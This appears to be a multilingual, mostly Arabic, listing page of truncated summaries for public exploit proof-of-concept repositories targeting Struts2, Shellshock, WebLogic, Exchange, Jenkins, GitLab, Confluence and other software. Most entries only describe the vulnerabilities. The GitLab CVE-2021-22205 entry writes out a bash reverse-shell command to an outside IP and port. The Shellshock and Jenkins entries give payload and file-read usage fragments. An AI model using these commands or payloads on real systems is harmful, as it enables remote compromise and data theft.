struts2-rce

عرض توضيحي لاستغلال CVE-2017-5638 مبني بالكامل على https://github.com/piesecurity/apache-struts2-CVE-2017-5638 سيناريو واقعي يتم فيه نشر مشروع مرجعي لإطار عمل على حاوية لكن بعواقب وخيمة. للتعرف عليه، اطّلع على الكود وقم بتجميعه. كما يُنصح بفحص ملف dockerfile - هل هناك أي شيء محدد يلفت انتباهنا؟...

Shell-Shock

صدمة الصدفة المؤلفون : [email protected] المشرفون : القسم : DevOps التراخيص : نظرة عامة صدمة الصدفة : تصعيد الامتيازات، تنفيذ التعليمات البرمجية عن بُعد عائلة من الثغرات في شل باش يونكس. تسمح بتنفيذ أوامر عشوائية. نواقل الاستغلال الحمولات وكيل مستخدم shellshock = User-Agent: :; ; حمولة rshel...

weblogic2021

هذا المشروع مخصص فقط للاستخدام في الأبحاث الأمنية والحالات المصرح بها، والمستخدمون مسؤولون وملتزمون بالامتثال للقوانين واللوائح المحلية. weblogic2021 CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756、CVE-2021-2109 7 ثغرات خطيرة تؤثر على WebLogic...

CVE-2025-1094-Exploit

CVE-2025-1094: SQL-инъекция до RCE через WebSocket 🚀 Этот репозиторий содержит доказательство концепции PoC эксплойта для CVE-2025-1094 , уязвимости в PostgreSQL, которая позволяет SQL-инъекции SQLi перерасти в удаленное выполнение кода RCE через захват WebSocket. Обзор Этот эксплойт использует...

CVE-2022-41082

CVE-2022-41082 يحتوي هذا المستودع على أداة إثبات المفهوم PoC لاستغلال ثغرة OWASSRF CVE-2022-41082 في خوادم Microsoft Exchange. يسمح هذا الاستغلال للمهاجمين بتنفيذ أوامر عشوائية على الخادم، مما قد يهدد سلامة النظام. نظرة عامة تستفيد الأداة من ثغرة OWASSRF لتجاوز المصادقة والحصول على تنفيذ التعليما...

Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Vulnérabilité RCE du framework Java Spring Ces vulnérabilités affectent un composant "Spring Core" — le cœur du framework Conditions actuelles pour la vulnérabilité : JDK 9+ Une version vulnérable du Spring Framework 5.2 | 5.2.0-19 | 5.3.0-17 Apache Tomcat comme...

CVE-2024-25600

CVE-2024-25600 استغلال - تنفيذ الأوامر عن بُعد في WordPress Bricks Builder RCE نص استغلال لثغرة CVE-2024-25600 ، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد بدون مصادقة RCE في إضافة Bricks Builder الخاصة بـ WordPress. تكتشف هذه الأداة الثغرة، وتستخرج الرمز المميز nonce، وتوفر واجهة تفاعلية لتنفيذ أوامر...

CVE-2023-50164-POC

هذا إثبات مفهوم PoC لـ CVE-2023-50164، والذي يوضح ثغرة اجتياز مسار path traversal جديدة يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE في struts-core. لمعالجة المشكلة، يُنصح بتحديث Struts إلى الإصدار 2.5.33 أو 6.3.0.2 أو أحدث. يعتمد هذا المستودع على العمل الممتاز الذي قام به Henrik Plate...

CVE-2018-16370

CVE-2018-16370 في PESCMS Team 2.2.1، قد يتمكن المهاجمون من رفع وتنفيذ كود PHP عشوائي من خلال /Public/?g=Team&m=Setting&a=upgrade عن طريق وضع ملف .php في أرشيف ZIP.لمزيد من التفاصيل انظر https://github.com/lazyphp/PESCMS-TEAM/issues/2...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

CVE-2021-21978

CVE-2021-21978 البرنامج النصي للاستغلال مع إظهار النتائج، بطريقة أبسط 0. معلومات الثغرة توجد في واجهة إدارة الويب الخاصة بـ VMware View Planner نقطة دخول لرفع ملف وظيفة السجل، دون الحاجة إلى مصادقة، ومسار ملف السجل المكتوب قابل للتحكم من قبل المستخدم. من خلال الكتابة فوق ملف وظيفة رفع السجل...

CVE-2024-23897

CVE-2024-23897 Lecture arbitraire de fichiers et RCE Jenkins CVE-2024-23897 Utilisation : python poc.py http://127.0.0.1:8888/ /etc/passwd Mise à jour : Mettez à jour vers Jenkins 2.442, LTS 2.426.3 Correctif : Si vous ne pouvez pas mettre à jour vers la dernière version, désactivez l'accès à la...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 نظرة عامة على Apache ActiveMQ وOpenWire يُعد ActiveMQ خادم رسائل مفتوح المصدر وأنماط تكامل Messaging and Integration Patterns، حيث يتضمن وسيطًا Broker مع عملاء يدعمون JMS، ويتيح الاتصال بين الأنظمة التي تستخدم لغات متعددة بالإضافة إلى جافا. كما يحاف...

CVE-2021-21985_PoC

تفاصيل الثغرة ثغرة RCE في المكوّن الإضافي لفحص صحة Virtual SAN في VMware vCenter Server CVE-2021-21985 يحتوي عميل vSphere HTML5 على ثغرة تنفيذ أوامر عن بُعد في مكوّن إضافي لخادم vCenter Server. يمكن لمهاجم ضار يملك وصولًا إلى الشبكة على المنفذ 443 استغلال هذه المشكلة لتنفيذ أوامر بصلاحيات غير مقي...

CVE-2021-41773

CVE-2021-41773 الاستخدام root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py ما هو CVE-2021-41773؟ CVE-2021-41773 ثغرة اجتياز الدليل في Apache HTTP Server 2.4.49. تحدث...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC يوضح هذا البرنامج النصي لإثبات المفهوم كيفية استغلال CVE-2024-4323، وهي ثغرة أمنية من نوع تلف الذاكرة في Fluent Bit، مما يتيح تنفيذ التعليمات البرمجية عن بُعد. CVE-2024-4323 هي ثغرة أمنية من نوع تلف الذاكرة في إصدارات Fluent Bit من 2.0.7 إلى 3.0.3. تكمن المشكلة في تحليل...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell إصدار الاختبار بناء أمر لإنشاء استغلال الثغرة root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh استغلال djvumake لإنشاء صورة الاستغلال root@kitploit: import os payloads= "echo 'bash -i &...

CVE-2022-26134

CVE-2022-26134 PoC Confluence Server وData Center - CVE-2022-26134 - ثغرة تنفيذ أكواد عن بُعد غير مصادق عليها بدرجة خطورة حرجة PoC الخطورة تُصنّف Atlassian درجة خطورة هذه الثغرة على أنها حرجة، وفقًا للمقياس المنشور في مستويات خطورة Atlassian. جميع إصدارات Confluence Server وData Center الأقدم من...

CVE-2020-1350-Fix

KB4569509: إرشادات حول ثغرة خادم DNS CVE-2020-1350 مقدمة في 14 يوليو 2020، أصدرت Microsoft تحديثًا أمنيًا للمشكلة الموضحة في CVE-2020-1350 | ثغرة تنفيذ التعليمات البرمجية عن بُعد في خادم DNS في Windows. يصف هذا الإشعار ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على خوادم Windows التي تم...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809-aka The Little Boy - POC سيتم تحديث الـ poc لثغرة CVE-2022-26809 RCE عبر RPC هنا. نحن بصدد تحديد الكود المعرض للخطر وسنشارك أبسط RCE بنقرة واحدة هنا...